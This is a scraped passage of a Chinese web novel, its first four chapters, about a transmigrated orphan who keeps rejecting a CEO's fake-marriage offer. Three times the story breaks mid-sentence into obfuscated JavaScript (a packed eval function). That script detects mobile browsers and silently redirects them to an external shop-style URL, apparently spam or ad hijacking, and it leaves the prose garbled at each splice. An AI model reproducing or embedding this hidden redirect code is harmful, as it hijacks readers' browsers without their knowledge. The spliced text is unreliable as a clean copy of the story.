《拒绝恶毒女配的剧本以后[慢穿]》 1. 01 祝容时从噩梦中醒来的时候,屋里的灯还亮着。她面色惨白瘫在床上,大口大口喘着粗气,额角发间都沾满了汗水,整个人好似刚从水里捞出来一般。 一场噩梦,将她整个人吓得魂不附体,看起来凄凄惨惨狼狈不堪。 好不容易回过神来,祝容时从枕头底下拿出手机来看时间,不早不晚,刚到凌晨三点整。 她深吸了口气,将手机放了回去,整个人睡意全无,躺在床上胡思乱想,下一秒,梦中人的话语又一次在她耳边响起。 “钟雅晴!你为什么要回来?!如果不是你,如果不是因为你,君尧他怎么会跟我分开?!都是你的错!你怎么不去死啊?!” “祝温如!你冷静一点!别做傻事!” “去死!去死!都给我去死!!!” 最后砰的一声,所有声音都停歇。 祝容时回了神,却还余惊未定,她不知道为什么,又一次想起了梦中看到的一切。 梦里的“她”名字不是祝容时,而是祝温如。梦里面还有两个人,一个叫钟雅晴,另一个是祝温如口中的君尧。 “钟雅晴”……这个名字对她来说真的熟悉极了,她曾经看过的最后一本网络小说,里面的女主角就叫这个名字。 那本小说名为《白月光修炼手册》。 思及此,祝容时抬手揉了揉脸颊,起身来到床脚书桌那里,拉开抽屉取出笔和本子,一如既往开始记录自己做过的梦,停笔之后,她拿着笔记本到床上坐着开始翻看,从第一页,直到今日记下的这一页。 以往做的梦都是关于曾经那些前尘往事的,梦到过往是因为心里放不下,可为什么唯独今天不一样?今天她梦到了名为“祝温如”的她,梦到了从未在她生命中出现过的钟雅晴…… 钟雅晴,《白月光修炼手册》的女主角,父亲钟林生,是一位大学教授,母亲叶云,是一位舞蹈家,出生在这样一个家庭,钟雅晴自小就天资聪颖,长大之后的她跟随母亲的步伐,一步踏进了娱乐圈里,没多久就在选秀综艺里崭露头角,以第一名的成绩顺利出道,一年后就站上了最佳女配的领奖台上。 男主谢君尧,谢氏集团总裁,为女主角颁奖的人,颁奖典礼结束后,女主与男主在酒会上结识,三个月后,两人就发展成了情侣,开始谈婚论嫁,然而天不遂人愿,男主的父母坚决反对他与女主交往,非要他与祝家的女儿祝温如结婚。 祝温如,反派角色,恶毒女配,出生没几天被人偷走,几经辗转,最后被警察送到了儿童福利院里面,直到七岁那年才被祝家找回。 因为自身经历所以和家庭格格不入,故而不被父母和哥哥姐姐重视,最后彻底长歪了,成了男女主大团圆结局路上的绊脚石。 回忆过网文小说里这几位主要人物,祝容时如今,终于知道自己在什么地方了。 祝容时跳楼之后就来到了这里,她本来一直以为,自己是带着前世的记忆重新开始新的人生了,结果居然是穿到了书里,成了一本网络小说里的恶毒女配吗?! 祝容时白着脸倒在床上,久久回不过神来,小时候的记忆在她脑子里盘桓。 她刚来这个世间,还很小的时候其实是叫祝温如这个名字的,后来长大一点儿了,能说话了,她就和院长妈妈说不喜欢这个名字,不想叫这个名字,她记得那个时候院长妈妈劝了她几句,后来见她态度坚决,无可奈何,只好随她去了。 因为她改了名字落户,所以祝家并没有找到她,那这么说来的话,她其实已经避过了这部网络小说原本的剧情了,但是为什么谢君尧这个男主角还会找上她呢? 祝容时眉头紧锁,不禁回忆起昨天发生的事。 昨天中午十二点整,祝容时应邀来到商场的遇见咖啡厅与朋友见面,然而她才落座不久,便见到一位西装革履,戴着金丝眼镜,样貌出色气质绝佳的男子直直向她走来。 祝容时不动声色欣赏了片刻,很快就垂下眼眸,权当没看见这人,只是低头继续看着手机。 但她当没看见,那人却不是这样的,他尤其直接的就在她对面落座了。 祝容时皱了眉头,道:“不好意思,先生,这里有人了。” 那人嗯了一声,将手里的文件放在桌上才道:“这位小姐,你好,鄙人谢君尧,是宣翾让我来找你的。” 祝容时这才松开了紧皱的眉头:“宣翾?你认识她?她让你来的?她怎么了?” 谢君尧:“是的,她需要加班书写几份协议,让我来这里与小姐见面。” 祝容时点了点头:“好的。” 音落,她端起杯子抿了抿,随后放下,拿起自己的手机就要起身离开:“多谢先生来告诉我宣翾加班的事,我接下来还有别的安排,就不打扰先生了。” 音落,祝容时起身便要离开,恰在此时,耳边传来谢君尧的声音: “等等。” 祝容时停下动作垂眸看去,却见那谢君尧将文件打开,直直推到她面前。 祝容时眉头一蹙,重新落座低头看去,下一秒,“婚前协议”四个字映入眼帘。她抬眸看去,谢君尧抱臂坐在她对面,见她看来,便开口道: “不知道小姐有没有兴趣?与我谈一笔交易?” 祝容时:“什么交易?” 谢君尧神色平淡,好似对一切胜券在握:“这是一份婚前协议,因为一些私人原因,我需要一段时长为三年的婚姻,但只是假结婚,我保证在婚姻存续期间不会有任何出格的行为,不过需要领结婚证,结婚证到手后,协议里约定的一个亿会直接打到小姐的账户,怎么样,小姐有兴趣吗?” 祝容时看也没看一眼,抬手将协议推回谢君尧面前:“谢谢你啊,我晚上做梦的素材有了。” 谢君尧道:“这不是做梦,只要你点头,我们现在就可以去签署这份婚前协议。” 祝容时脸上挂着笑容,只是笑容里却有些许勉强:“谢先生,如果我没记错,我们今天才是第一次见面吧?冒昧请问一下,您看中我什么了?” 谢君尧闻言,不禁一个蹙眉,什么意思? 祝容时道:“人贵在自知之明,我不是什么资质出色能让人一眼相中的人,付出一个亿换我这样难登大雅之堂的人与您结婚三年,您不觉得您太亏了吗?” 祝容时言辞犀利,将自己也贬低得一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548347|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文不值,谢君尧坐在她对面,只觉得心惊胆寒,这个女孩,在用最大的恶意揣测他。 见他不言,祝容时接着道:“谢先生容貌不凡,出手阔绰,可见是一位极为出色成功人士,像您这样的成功人士身边应该从不缺乏出色美丽的好女孩,我想,只要您愿意,多的是人求着要和您结婚,您说是吗?” 谢君尧闻言却摇了摇头:“那些人会让我很困扰。” 祝容时一愣:“困扰?谢先生的意思是,我不会让您产生困扰?” 谢君尧没说话,默认了。 祝容时灵光一闪,终于明了,眼前这个人恐怕对她做过调查,清楚知道这一世的她是个孤儿,在这个世界上举目无亲无依无靠,这样的她毫无疑问,对别人的予夺没有任何反抗能力,非常容易掌控。 像这样轻而易举就能给出一个亿,只为了和她假结婚三年的人来说,她这种平民阶层的女孩,更遑论还是一个孤儿,就算哪天从这个世上消失了也不会有人注意到,就算有人注意到了,谁又会坚持不懈的寻找她呢? 谢君尧说她不会让他产生困扰,或许就是因为这些,毕竟她一个一无所有的孤女,有什么地方值得他另眼相看的?而且,她听说有钱人大部分都有些见不得光的癖好……想到这里,祝容时登时起了一身白毛汗,看向谢君尧的眼底逐渐染上了几分恐惧与戒备。 谢君尧猜到这人在胡思乱想,但他却没有打断,只好整以暇的看着她,他很好奇,自己到底做了什么事,能让她这么的……如临大敌? “谢先生,婚姻大事其实倒也不必急于一时,您样貌出色,未来必定有佳人相伴。”祝容时握紧了拳头,才强压下心头的恐惧,状似平常的开口:“我就不耽误先生的时间了,再见。” 话音刚落,祝容时一把抓起手机就起身离开了,行动十分迅速,颇有点仓皇逃离的感觉。 回忆渐渐远去,祝容时长舒了口气,心里不舒服的同时也多了两分无奈的感觉。 她在这个世界生活了二十年,过去的这二十年里,她身边出现的人大多都是和她处在差不多的环境里的,唯独昨天那个递给她一纸婚前协议的人十分怪异,他出现的太突然,说出口的话在她看来也太过离奇。 平日里她可以口嗨,说什么希望有人拿钱来砸她之类的话,可如果真有人拿钱来砸她,她又怎么可能会接受呢? 不是依靠自己努力得到的东西,都是虚无缥缈的。 三年的婚姻,换一个亿,这得是什么类型的笨蛋才会说出口的话?她很难不去怀疑人的居心到底是怎样的。 可如今从一个梦里知道了自己身处于什么样的世界,她才后知后觉,这个世界的那位男主,貌似看起来是真的对她没有恶意?突然找上她说那种事或许单纯是因为剧情的原因吧?虽然昨天恶意揣测了他半天,但幸好幸好,她无论心里咋想的,至少外在表现得处处得体,没有哪里不合时宜。 而且,这样的人不管他是什么身份,以后都跟她没有联系,阶级不同,再也不见最好。想到这里,祝容时心里一阵放松。 与此同时的谢家,因为心情郁闷而难以入眠的谢君尧来到书房拨打电话。 2. 02 谢君尧的婚事对他和家里的长辈而言,无疑是个难题。 他父母的婚事是年轻时候的祖父母与外祖父母定下的,属于商业联姻的范畴,二人在生下谢君尧之后,就各奔东西自找快乐去了,留下小小年纪的谢君尧和爷爷奶奶一起生活。 谢君尧父母也对自己曾经的行为感到愧疚,所以对他的终身大事并不曾过问。可是老人看着孩子一直孤零零的,身边连个陪伴说话的人都没有,总难免有些揪心,这眼瞅着就快要三十了,老人便也跟着着急起来,他们年纪大了,不想看着孩子一直一个人。 所以,这也是谢君尧急需一段婚姻的原因。 只是可惜,宣翾神秘兮兮帮他约出来的人在看到他递出那一份协议之后神色骤变,直将他看成了十恶不赦的恶人,这实在让人百思不得其解。 才短短几分钟的时间,那女孩到底都想了些什么啊?他看起来很像什么大奸大恶的人吗? 谢君尧丈二和尚摸不着头脑,顶着一脑门子的黑线给为他出谋划策的军师洛然打了个电话。 电话接通,顾不得电话那头的人冲他抱怨,他先一步将昨日见面的始末一一细说清楚,然后,他的手机里就传来了一阵尤其过分的笑声。 “那位祝小姐没想什么,她只是单纯的以为你是变态而已。” “什么?”谢君尧嘴角一抽。 手机听筒里传来洛然的声音,他凝神细听。 “她自小在福利院长大,学业都是靠国家和社会上爱心人士的资助完成的,她相信人心里的善良,也习惯用最大的恶意去揣测一个人的行为,你不是调查过她吗,怎么这些都想不到?”洛然道。 “一个亿,对你来说或许不过九牛一毛,可对她来说却是个天文数字,她一直觉得自己一无所有一无是处,你想想,觉得自己一无所有的她,在接触到这样的事情时,她会想什么?” “我什么都没有,他突然提出这样优厚的条件,真的只是为了跟我假结婚三年吗?三年婚姻,一个亿,他到底图我什么呢?我什么都没有,难不成是在是图我的身家性命吗?” 谢君尧恍然大悟的同时也倍感离谱:“荒谬!” 洛然在手机那头凉嗖嗖的道:“她是个孤儿,打小就举目无亲无依无靠的,缺乏安全感不是很正常的吗?而且你出手这么大方,她怀疑你居心不良那不也是人之常情吗?人家跟你又不熟,你开口就是协议结婚三年给人一个亿,谁知道你是不是专门用婚姻做借口满足自己变态思想和行为的惯犯?” 谢君尧:“……” 谢君尧被洛然的一句接一句堵的气不打一处来,冷冷说了句再见就挂断了电话,起身回房间去了。 心里百思不得其解的事有了答案,他终于可以放心睡下了。 可才躺到床上,谢君尧心里却是感到一阵忿忿不平。 对他而言,过去的事就过了,他大多不会放在心上,可是,昨天的事却格外的让他觉得心里很不舒服。 不是,他们昨天是第一次见面吧?他们以前素昧平生吧?就算他言行举止显得有些离谱,但他可是国内的出色企业家,富豪榜排名前五十的人,出现在公众视野的形象更是一个遵纪守法的良好公民!她怎么能那么过分?把他想得那么穷凶极恶?简直不堪入目! 谢君尧沉默着躺在床上,心里越想越觉得不忿,第二天天一亮,就迫不及待去了公司,他打算去找宣翾要昨天那个女孩的联系方式。 然而他去的太早了,九点不到,公司里的人都还没来上班。 谢君尧:“……” 他沉默半晌,转身走进电梯,径直去了自己的办公楼层。 九点整,所有人员到岗,谢君尧的秘书黎子盛刚到,就被谢君尧叫了进去。 “法务部的宣翾到了吗?”黎子盛走进去,“谢总”两个字还没来得及出口,就先听得谢君尧开口问话。 黎子盛道:“到了,谢总稍等,我这就去叫她来您的办公室。” 谢君尧嗯了一声:“去吧。” 黎子盛赶忙退了出去,拿出手机拨打宣翾的号码。 与此同时,宣翾刚刚到了自己的办公室,才把背包放下,还没来得及给电脑开机,就先接到了黎子盛的电话。 顾不得多想,她按了接听:“黎助理你好,请问有什么事情可以帮你?” 黎子盛道:“没什么,宣小姐,谢总让你上来他办公室一趟。” 宣翾闻言,心里咯噔一下,她隐约觉得,自己似乎要有大事临头了。 心跳的扑通扑通的,宣翾的语气却一如往常:“好的,我马上就到。” 挂了电话,宣翾起身就往电梯行去。 五分钟后,宣翾站在了谢君尧的办公室门外,然后,宣翾在黎子盛的注视下推开了办公室的门:“哥,找我什么事?” 谢君尧低低应了一声,道:“私事,祝小姐的联系方式,方便给我一个吗?” 宣翾闻言一愣:“祝小姐?” 谢君尧点头:“就是昨天你让我去见的祝容时祝小姐。” 宣翾闻言更困惑了:“我没让你去见容时啊?你去哪里见的她?” 谢君尧:“对面商场五楼的遇见咖啡厅。” 宣翾:“我让你去见的是我大学同学朱月融啊,昨天她在咱们公司五楼会客厅等了你差不多一个小时呢!结果你一直没去?” 谢君尧:“……” 昨天,宣翾根据他的意思,在自己的好友通讯录里找了又找,才终于找到个合适的让他去见上一面,他去问她要见面地址的时候,宣翾似乎是……在和人发语音,她说:“百货商场五楼有家遇见咖啡厅,你在那儿等着啊。” 然后,他听岔了。 一个姓朱一个姓祝,闹乌龙了…… 宣翾一阵头大:“你怎么搞的?!容时是我约出来下班以后陪我逛街吃饭的好姐妹,人家是坚定不移的单身主义者!你就这么去见她了?告诉我,你有没有跟她说了什么?” 谢君尧:“没说什么,我就是给她看了一份婚前协议,那份婚前协议可是你写的。” 宣翾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548348|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个人僵在原地,那份协议里她写了什么她再清楚不过了。结婚证下来了一个亿直接打到账户上,三年后到期了再补偿一套房。 这么优厚的条件连她都觉得谢君尧吃亏了,不过这人只求解决麻烦,她便想着给的多点问题就能很好解决,未来想必也不会有什么后顾之忧,结果……他把协议给错人了!!! 宣翾:“我可真是服了你了。” “你自己没说清楚。”谢君尧神色平淡如水,好似这出乌龙不是他搞出来的一般,“别废话了,把祝小姐的联系方式给我。” 宣翾闻言精神一振:“告诉我,为什么突然找我要容时的联系方式?昨天她和你说了什么?你怎么突然要联系她了?” 谢君尧见宣翾一直追问,终于无奈扶额。 于是,接下来的时间里,谢君尧向宣翾讲述了昨日咖啡厅里,他和祝容时发生的事。 宣翾听完之后,沉默了好半晌,才终于开口:“我就算给你容时的联系方式,你也联系不上她。” 谢君尧眉头一皱:“为什么?” 宣翾道:“她的手机设置了自动拦截陌生人的来电,手机好友只加自己熟知的人,她性格挺古怪的,让人觉得捉摸不透。” 谢君尧沉默不语,静静地看着宣翾。 宣翾接着道:“没事,我过会儿会和她解释一下,哥你也别纠结,过了就过了吧。” 谢君尧眉峰一挑:“过了?这没那么容易过去吧?她把我想成一个穷凶极恶的变态,视我如蛇蝎,难道不应该和我表示一下歉意吗?” 宣翾理直气壮:“她说的那些话有什么地方不妥当的吗?你管人家心里怎么想的干什么?” 谢君尧:“……给我!” 宣翾面露不耐:“你这么执着的跟我要她的联系方式干什么?” 宣翾一边说着,一边察言观色,见谢君尧神色复杂,似有难言之隐,她稍一琢磨,便道:“你该不会是因为昨天人家对你避如蛇蝎,所以一直都耿耿于怀,才非要和她联系的吧?她这样另类的引起了你这位霸道总裁的注意了?” 谢君尧:“……” 宣翾接着道:“看来是真的,那真不好意思了,我绝对不会给你她的联系方式。” 谢君尧眼神一凛:“你……” “但是我可以让月融过来见你!”宣翾开口打断了他接下来的所有话,“你要不考虑一下?” 谢君尧依旧执着于祝容时:“不考虑,把她的联系方式给我。” 宣翾一脸无语,无可奈何之下只好把好友的联系方式通通上交。 谢君尧将手机号码保存下来,然后打开通讯添加好友。 宣翾在一旁看着他的动作,不由得嘴角抽搐,拿回手机之后,她凉嗖嗖的道:“我等着看你碰壁,哼!” 音落,宣翾转头离开,回去继续工作。 谢君尧发送了好友申请,便开始处理文件。 与此同时,宅在家里休息的祝容时,看着手机里弹出来的好友申请,终于忍不住给宣翾打去了电话。 3. 03 昨天祝容时和宣翾本来是约着一起出去吃喝玩乐的,结果在咖啡厅里等人的时候,突然遇到谢君尧这人,她当时不知道这人的身份,心里又惊又怕最后直接落荒而逃,等到回了家才想起来和宣翾联系,向她道歉自己没在那里等她的事情。 后来确认宣翾在加班,便只随便聊了几句就挂断了电话,但她并没有和宣翾提及自己遇到一位谢先生的事,结果今天早上,猝不及防的就收到了来自本书中世界男主的好友申请,祝容时当即便感觉一阵头大。 电话接通,宣翾的声音从手机听筒里传来:“喂~宝贝儿。” 祝容时嗯了一声,问道:“宣翾,是这样的,有个人……突然给我发好友申请了。” 宣翾没说话,静静的等祝容时说话,心里深知这肯定是谢君尧的申请。 祝容时接着道:“昨天我在咖啡厅里等你的时候,遇到了一位谢先生,他说他叫谢君尧,这人你认识吗?” 宣翾点头:“认识啊,这是谢氏集团的总裁,我们老板。” “哦。”祝容时咬咬嘴唇,“我跟你说,昨天咖啡厅里,他好突然的就坐我对面去了,还给我递了一份婚前协议,说什么给我一个亿换我和他结婚三年?这不仅一点都不真实,而且还一看就特别假,我当时不知道他是谁嘛,就猜想他会不会是电视剧里,那种学了网文霸总的套路,用结婚为理由,满足自己变态嗜好的怪人。” 宣翾闻言,猛然一阵呛咳。 祝容时赶忙问道:“你怎么了?是不是呛到了?” 宣翾道:“没事没事,被你震惊了一下下而已,你接着说,然后呢?” 祝容时听她声音恢复如常,便又接着道:“后来我就赶紧走了,可是今天手机里莫名其妙多出一个好友申请,我才想问问你。” 宣翾唔了一声:“是我给他的,今天早上我刚来他就把我叫去办公室里去了,威逼利诱让我给他你的联系方式,我没办法,对不起啊宝贝儿……” 祝容时安慰道:“没事没事,给了就给了,没关系的,我现在就是想问问你,我要是不同意申请的话,他会不会对你做什么啊?” “不会不会。”宣翾回道,“不过,我还是想建议你给他一个好友位吧,至于别的……你想怎么样就怎么样,都行!” 祝容时听她说完,郑重其事的点点头:“既然不会的话,那我就直接拒绝了,我觉得我和他也不会再有什么交集。” 得到了答案,祝容时和宣翾说好下次再约,就挂断了电话,然后果断在那好友申请上点了拒绝,然后去做早饭。 电话的另一头,宣翾拿着手机一脸懵逼的眨了眨眼,合着她那建议祝容时根本就没听? 思及此,宣翾轻叹一声,开始给谢君尧发信息:{碰壁了吧?} 谢君尧:{。} 宣翾接着打字:{哎呀,我家容时刚收到你的好友申请,就迫不及待的给我打电话了,问我,她点拒绝会不会对我有什么影响?} 谢君尧:{?} 宣翾:{我说,没有。然后呢你就被拒了。} 谢君尧:{……} 谢君尧:{现在有了。} 宣翾:{嗯?!} 宣翾:{你说什么?!} 谢君尧:{她一天不通过我的好友申请,你就一天别想正常上下班。} 宣翾看着最后这一条信息,一脸无语的回了个省略号,附加一句:{你狠。} 信息发出之后,她想了想,又多回了一句:{给你一句忠告!你给她发好友申请的次数千万不能多,不然她会把你拉进黑名单的。} 过了差不多十分钟后,谢君尧回复她了,但只有四个字。 {让她同意。} 宣翾看到这信息的瞬间发出一阵爆笑,这笑声引得办公室外的同事一震惊愕: “宣翾她笑什么呢?” “不知道啊,估计看到什么好笑的东西了吧?” 几声议论之后,便没有人再关注宣翾,大家都各自忙活起来。 办公室里,谢君尧看着手机,嘴角不禁抽搐了下,他的手机好友页面始终没有出现那个女孩,那个通讯昵称为“此心如故”的女孩从未同意他的好友申请。 这是他第一次有挫败感,可偏偏又兴致盎然。 那个女孩,或许是真的很特别,第一次见面时对他充满戒备,在他说出那些话时那么理所当然顺理成章的把他想成了一个潜在的犯罪分子,今天他提交了几次好友申请,却无一例外都被拒绝。 她分明已经知道了自己是谁,也知道了自己是从哪里得来的她的联系方式,却谁的面子也不给,说拒绝就拒绝。 当真是…… “有意思极了。”音落,谢君尧将手机背面朝上放在办公桌上,打开电脑继续办公。 半个小时后,手机响起信息提示音。 谢君尧拿起手机,里面是一条语音信息,来源是宣翾。 他点进去听,不出意料听得一个熟悉的声音,那个声音软软的的,似乎是在和宣翾撒娇,全然不似昨日对着他那样冷漠: {可是宣翾,我真的不加不认识的人呀,而且我并不觉得,我以后会和他以及他阶级的人产生什么交集呀。} {而且而且,就那一面已经够了吧?我和他难道还有必要加好友,然后三五不时的聊天解闷?没这必要吧?} 宣翾:{我尽力了。} 谢君尧眉头一皱,打字回复:{你没告诉她,她不同意我就让你天天加班?} 宣翾:{……我要是说了,那她会在我面前臭骂你一顿,然后给我点奶茶蛋糕做安慰,更加肯定自己对你的看法,认定你这人就是个没人性的变态。} 谢君尧沉默不语,这一次,是真的黔驴技穷,无计可施。 宣翾:{她很固执,并且非常相信自己的第一直觉,你给她的第一印象已经定格在那里了,她第一感觉就觉得你对她而言是个大麻烦,所以她是不会愿意和你多接触的,我劝你直接放弃。} 谢君尧冷嗤一声,把手机扔一边去了。 两个小时后,下班时间到了,谢君尧把电脑一关,就去了宣翾所在楼层的办公室。 彼时宣翾还在看书,谢君尧敲了敲门,便径直退开走了进去,然后拿起被宣翾放在一旁的手机。 宣翾一见手机落入他人手里,登时就急了:“哥!你拿我手机干嘛呀?” 谢君尧不说话,手机屏幕对准宣翾面部识别解锁,随后就点进了那个熟悉的头像里。 信息停留在昨天,那女孩向宣翾发送位置,然后下面附加了一句:{我在正对电梯口的位置等你,这样你出电梯只要抬头就能看到我了。} 之后宣翾匆忙回了句:{好的},就彻底没了下文。 看来这里也没辙,谢君尧沉默片刻,一脸无奈的把手机还了回去。 宣翾拿着手机,不由得长叹一声,出言安慰道:“哥,别纠结了,你现在只是一时兴起,冷静冷静过几天就好了。” 谢君尧:“什么一时兴起?” 宣翾面露惊疑:“你难道不是吗?” 这话谢君尧没法说,的确,他一开始只是郁闷,那位祝小姐为什么对他避如蛇蝎,后来知道了又心里不平,今天发出好友申请,或许只是为了调侃一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548349|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番,或许是想看她尴尬道歉,但看到她一次又一次的拒绝之后,就莫名其妙的跟她较劲起来了。 就这么耗了一个早上,谢君尧突然发现,这位祝小姐,或许才是最适合帮助他解决当前的问题,并且不会有让他有任何后顾之忧的最佳人选。 所以,他主动跑来找宣翾了。 “或许吧。”谢君尧莫名其妙的说了这么三个字,让宣翾一阵不解: “什么意思?” 谢君尧唇角噙了一抹浅淡的微笑:“我发现,这位祝小姐,或许才是目前最适合帮我解决所有问题的人,所以,我需要你帮我,让我和她见面,开诚布公的好好谈谈。” 宣翾嘴角抽搐,合着她早上说了那么多话这人是一点儿也没听进去?! 她想也不想就拒绝:“对不起哥,这事儿我真的做不到。” 谢君尧淡淡的道:“你只需要帮我把她约出来,这点小事也做不到吗?” 宣翾毅然摇头:“做不到,她是我最珍惜的朋友之一,我是不会欺骗朋友的。” 祝容时是她唯一一个主动去接近的朋友,她知道这个朋友的戒心有多重,也知道她的信任有多难得到,所以,她做不到这件事,也不想去做这件事。 谢君尧闻言,沉默片刻后冲她伸出手:“既然你不愿意,那就把你的手机借给我十分钟,中间发生什么都与你无关,你也不用管,我过后自会和她解释。” 宣翾一愣,她还没来得及说话,谢君尧便自顾自的接着道: “这样你可以做到吗?” 宣翾紧了紧握着手机的手,低着头沉默不言。 良久,她缓缓抬手,将手机递到谢君尧面前,在谢君尧拿过她手机的时候,宣翾终是按捺不住开口问道:“为什么非得要容时来帮你不可?” 谢君尧道:“凭你说的那句话。” 宣翾疑惑:“哪句?” 关于祝容时的事她似乎说了不少,但这时候大脑却一片空白,怎么都想不起来了。 谢君尧一边给手机解锁,一边道:“你说,她是坚定不移的单身主义者。” 三年的假婚姻换一个亿来过往后余生高质量的单身生活,这么划算的买卖,她应该不会拒绝的吧? 宣翾道:“是,她最怕麻烦,所以她绝对不可能会答应你的。” 谢君尧轻笑了下,将宣翾的劝告视若罔闻,他打定了主意,要去撞一撞祝容时这堵南墙,他要看看这座南墙有多硬。 信息发出十分钟后,确定没有撤回的可能,谢君尧把聊天记录删除,随后大发慈悲把手机还了回去:“但是宣翾,对那位祝小姐,你真的不好奇吗?一点都不想试一试吗?” 宣翾脸色一变,看着他离开后才勉强回过神来,她打开手机准备看谢君尧都发了些什么,结果却只看到自己之前和祝容时互动的信息,谢君尧发送的信息都已经被他删除了,顿时感觉一阵无语,但谢君尧离去前说的那句话,却不合时宜的在她脑海中再度回响起来。 她在办公室里来来回回走了好一会儿,才勉强压下心里凌乱的思绪。 待平息之后,才打开手机给祝容时发信息:{宝贝儿,刚刚手机被我哥抢去了,就是跟你说过的谢氏集团的总裁,我们老板。} {他刚刚给你发了什么信息?我这里聊天记录被删除了,找不回来。} {算了算了,不管发了啥你都别理他。} 信息迟迟没有回复,宣翾心里一阵挫败,算了算了,她没辙了。 吃过午饭后,又过了将近一个半小时,宣翾的手机响了。 她拿起一看,来电的不是别人,正是祝容时。 4. 04 早上祝容时挂了和宣翾的电话就去做早饭了,吃完了早饭,把餐具清洗干净之后,又睡了个回笼觉,回笼觉睡了一个半小时,她起床洗漱准备午饭,正在忙活的时候,就收到了宣翾的信息。 宣翾:【今天有空吗?】 宣翾:【要不要出来逛逛?】 她放下手里的包菜,思索片刻后回复:{好啊,你想去哪里?} 宣翾:【就公司附近的商场随便逛逛吧。】 祝容时唔了一声,接着回复:{都行。} 宣翾:【那你今天来谢氏集团五楼等我吧!】 祝容时随手发了个OK的表情包过去,就把手机放一旁充电去了,她美美享受了午餐,然后去浴室洗漱沐浴,过了一个小时才从里面出来,又弄头发又护肤的花了不少时间,提着包包出门的时候已经下午一点多了,她匆匆忙忙赶去地铁站,直到上了地铁才拿出手机来看一看。 手机屏幕亮起,入目赫然便是宣翾发来的信息。 她逐字逐句看下来,用力闭了闭眼,她没心情回复,打算去现场直接看是什么情况。 又过去半个小时,地铁到站,她提步离开,向着约定地点走去。 她步伐缓慢,但到谢氏集团一楼大厅的时候,守在前台的工作人员便赶忙迎上前来:“您好,请问您是祝容时、祝小姐吗?” 祝容时看着眼前这位西装革履的年轻男士,不动声色往后退了两步,才点点头:“是的,我来找一个朋友,她叫宣翾,在贵公司的法务部上班,请问我可以在这里等她下班吗?” 那男子一脸笑意盈盈的道:“您可以去五楼会客厅等待。” 祝容时歉意的笑了笑,道:“不了,我就在这里等吧。” 话音刚落,祝容时便看到眼前这人神色一变,她眉头微蹙,礼貌的笑容也逐渐僵硬起来。 片刻后,那男子道:“好的,如果您有什么需要,请随时叫我们。” 那男子说完,便转身走进前台工作位置上落座。 祝容时看到他转身离去,微不可见的松了口气,她转身走到一旁的沙发上坐下,拿起手机给宣翾打电话。 电话接通,祝容时便开口道:“宣翾,我到你们公司了,你现在方便下来吗?” 电话那头的人明显一愣:“你怎么来了?” 祝容时沉默片刻,返回发送截图给宣翾。 宣翾长叹一声,声音里充满了无奈:“等我五分钟,我马上就到了!” 祝容时看着挂断的通话页面,眼中多了几分冷意。 宣翾让她等五分钟,但其实只用了三分钟,她便赶来了。 宣翾在看到祝容时的时候,就知道谢君尧用她的手机给祝容时发了什么信息了,她低叹一声,随后迈着轻快的步伐走向祝容时,拥抱过后,她把自己手机解锁递给她。 祝容时随手接过,垂眸一眼便看到宣翾的聊天记录,她面色有些复杂,似是有些难以言说。 宣翾见状便道:“我昨天让他来五楼见我一个大学同学,她叫朱月融,结果他听岔了,跑去对面商场五楼莫名其妙的就和你见面了。” “我都和他说好久了,结果他还油盐不进非要自己和你联系,然后他就用我的名义,把你骗来了。” 祝容时得到解释,心里的芥蒂稍微放下些许,当即开口安慰:“没事,来就来了呗,正好可以等你下班。” 说到这里,祝容时突然想起昨天看见的商场新店:“对了,我昨天去商场的时候看见4楼新开了一家火锅店,等你下班了去吃一顿?” 宣翾点头:“好啊!那你跟我去办公室?” 祝容时闻言却摇了摇头,直言不讳:“我还是去商场等你吧,在这里总感觉不太合适。” 宣翾深以为然:“也是,我哥他挺神经的。” 说完,宣翾便牵着祝容时的手,准备送她出门,然而下一瞬,一只手十分突兀的拦在宣翾面前。 宣翾抬头一看,脸上瞬间涌现出几分不耐:“你干嘛呢?” 祝容时抬眸看去,却见到方才接待她的人,正在她们面前,挡住了去路。 小说世界就是小说世界,果然没几个正常人。在这阻拦之中,不安的感觉席卷而来,祝容时将手机放回随身携带的包里,然后紧紧握住了里面的水果刀。 挡住她们的人不是别人,正是谢君尧的助理黎子盛。 黎子盛忽略宣翾脸上的不耐,温声与祝容时道:“祝小姐,谢总很希望,能和您详谈昨日提到的事。” 祝容时明确拒绝:“但我不想和他谈。” 如果说从噩梦中醒来的时候,她还为自己如此恶意揣测一个人而心存两分愧疚的话,那在今天那个人借她朋友的名义骗她出门的时候,仅有的两分愧疚就变成了十分的抵触与厌恶。 昨天的事是意外,换句话说,她十分讨厌昨天那件事的发生。至于对方如何作想与她无关。 